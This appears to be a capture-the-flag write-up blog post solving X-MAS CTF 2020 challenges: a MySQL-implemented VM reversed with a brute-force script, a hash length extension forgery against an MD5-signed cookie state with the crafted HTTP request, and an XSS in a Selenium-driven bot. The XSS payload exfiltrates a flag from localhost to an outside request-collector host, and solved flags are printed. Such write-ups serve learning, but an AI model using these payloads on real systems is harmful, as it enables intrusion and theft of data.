WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) 
WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) 
WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) 
WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) 
WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) 
WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) 
WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) 
WHEN 89 THEN 0 
WHEN 90 THEN @out := @notok 
WHEN 91 THEN @pc:=126 
WHEN 92 THEN 0 
WHEN 93 THEN @get_arg_tmp := @sp-2 
WHEN 94 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
WHEN 95 THEN IF(@n = 0, 0, @pc:=99) 
WHEN 96 THEN @rv := 1 
WHEN 97 THEN @sp := @sp - 1 
WHEN 98 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 99 THEN 0 
WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) 
WHEN 101 THEN  @sp := @sp + 1 
WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) 
WHEN 103 THEN  @sp := @sp + 1 
WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 105 THEN  @sp := @sp + 1 
WHEN 106 THEN  @pc:=92 
WHEN 107 THEN @sp := @sp - 1 
WHEN 108 THEN @sp := @sp - 1 
WHEN 109 THEN  @n:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 110 THEN @rv := @rv * @n 
WHEN 111 THEN @sp := @sp - 1 
WHEN 112 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 113 THEN 0 
WHEN 114 THEN @get_arg_tmp := @sp-3 
WHEN 115 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
WHEN 116 THEN @get_arg_tmp := @sp-2 
WHEN 117 THEN  @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
WHEN 118 THEN @rv := 1 
WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) 
WHEN 120 THEN @rv := 0 
WHEN 121 THEN 0 
WHEN 122 THEN @sp := @sp - 1 
WHEN 123 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 124 THEN 0 
WHEN 125 THEN @out := @notok 
WHEN 126 THEN 0 
WHEN 127 THEN 0

Just following one by one, we can get the most segment of flag.

 

But there are two some annoying chore part.

First one is sounds like based part.

WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) 
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)

The flag value from sql SOUNDS LIKE syntax can be multiple answer. But there is a hint about it.

The segment must be 'Soy' because of hint.

 

Another part is following.

select IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((
    SELECT CONCAT("XY"
    )
)))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "OK", "FAIL")

X is flag[20], Y is flag[21].

The return value of weight_string can be difference based of mysql version and operation systems.

REGEXP_REPLLACE function is not supported in mysql 5.x version.

Then we can guess the version dependency is based on 8.x version.

There is note that we should not use windows based os but linux os in order to get the right flag.

I had annoying chore to establish the environment.

 

I wrote python script to get 2 char, brute force search.

#!/usr/bin/env python3.5
# -*- coding: utf-8 -*-
import pymysql
import sys

conn = pymysql.connect(host="localhost", user="root", password="12321", db="bobgil")
curs = conn.cursor(pymysql.cursors.DictCursor)

flag = "X-MAS{Wooat???_4_VM_++_My_SQL???_mnohijkd}"
    

candid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()"
def chk():
    q = """SELECT IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "TRUE", "FALSE")"""
    curs.execute(q)
    rows = curs.fetchall()
    return "TRUE" in repr(rows[0].values())

success = []
for a in candid:
    for b in candid:
        print (a,b)
        curs.execute("update FLAG set n='{}' where id=20".format(a))
        curs.execute("update FLAG set n='{}' where id=21".format(b))
        conn.commit()
        # sys.exit()
        if chk():
            print ("COOL", a,b)
            success.append((a,b))

assert len(success) > 0
print ("WOWW")
print (success)

 

Fortunately, I've got the right flag.

The flag is X-MAS{Wooat???_4_VM_1n_My_SQL???_mnohijkd}

Web - Cat clicker

Hint indicates, the server project is managed by git. jeongwon jo leaked the server source code with accessing git repository.

The server does not store the data how many can cat the client have, like jwt just check the data and signature to verify integrity.

Checking server side code, the server using md5 based hmac with 64byte random key.

<?php

function hashFor($state) {
	$secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess
	$s = "$secret | $state";
	return md5($s);
}


function verifyState($state, $hash) {
	return $hash === hashFor($state);
}


function getCatsNo($state) {
	$arr = explode(" | ", $state);
	return intval(end($arr));
}


function getParentsLimit($state) {
	$arr = explode(" | ", $state);
	return intval(reset($arr));
}

?>%

The signature format is like "secret | 12 | 0".

md5 function is vulnerable to hash length extension attack. So, appending some value, we can get the flag.

I used hashpump to make fake data and signature.

 

$ hashpump -s "cf13ab76afb625f7f7d6c539c2cb3c84" --data " | 12 | 0" -a " | 13" -k 64
c28217c17f102d42d1b4a0ab33ec10a3
 | 12 | 0\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x02\x00\x00\x00\x00\x00\x00 | 13

I tried several times because of encoding issue. I used x-www-form-urlencoded format, because multipart/enc type doesn't work well, I don't know why.

Following it the request.

POST /api/buy.php HTTP/1.1
Host: challs.xmas.htsp.ro:3003
Content-Length: 236
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://challs.xmas.htsp.ro:3003
Referer: http://challs.xmas.htsp.ro:3003/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8ki90aas9s32lr01s410mm5kf
Connection: close

state=12%20|%200%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%02%00%00%00%00%00%00%20|%2013&hash=c28217c17f102d42d1b4a0ab33ec10a3&item_id=2

Response is like below.

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Dec 2020 10:19:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Content-Length: 176

{"state":"12 | 1337","hash":"52586134e945c681089af25c36a1866f","success":true,"item":"X-MAS{1_h4v3_s0_m4ny_c4t5_th4t_my_h0m3_c4n_b3_c0ns1d3r3d_4_c4t_sh3lt3r_aaf30fcb4319effa}"}

Web - Comfort bot

It provides source code. Analyzing from input to deep, there is xss injection point with webdriver.

Webdriver is a kind of web browser controller, can be used with various objectives like crawling.

responseEngine/cleverbot/driver.py

import time, string, asyncio
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

windows = {}

def createCleverDriver ():
	global driver

	print("create1")
	chrome_options = Options()
	chrome_options.add_argument ("--headless")
	chrome_options.add_argument ("--no-sandbox")
	chrome_options.add_argument ("--disable-dev-shm-usage")
	chrome_options.binary_location = "/usr/bin/chromium"
	driver = webdriver.Chrome (executable_path = "/chall/chromedriver", options = chrome_options)
	print("create2")

def switchToAuthorWindow(authorID):
	driver.switch_to_window(windows[authorID])

async def getCleverResponse (authorID, txt):
	global driver

	try:
		driver.execute_script("window.open('http://localhost/','_blank');")
		windows[authorID] = driver.window_handles[-1]
		switchToAuthorWindow(authorID)
		
		script = "cleverbot.sendAI('{0}')".format (txt)
		driver.execute_script (script)
		while (driver.execute_script ("return cleverbot.aistate") != 0):
			await asyncio.sleep (0.4)
			switchToAuthorWindow(authorID)

		reply = driver.execute_script ("return cleverbot.reply")
		switchToAuthorWindow(authorID)
		driver.execute_script("window.close()")
		driver.switch_to_window(driver.window_handles[0])
		return reply
	except:
		CreateCleverDriver ()

In getCleverResponse function, second parameter named "txt" is user(attacker) controllable variable.

Building executable javascript code, there is no xss sanitization, so we can execute attacker controllable javascript in web driver browser.

The flag is located in localhost/flag, let's fetch the flag and send to my custom server!

My payload is following

!');fetch('http://localhost/flag').then(function(res){return res.text()}).then(r=>fetch('https://b7212f259517d27982dd364ea7830745.m.pipedream.net/'+btoa(r)));('

We've got the message from server successfully!

Base 64 decoded flag is above.

+ Recent posts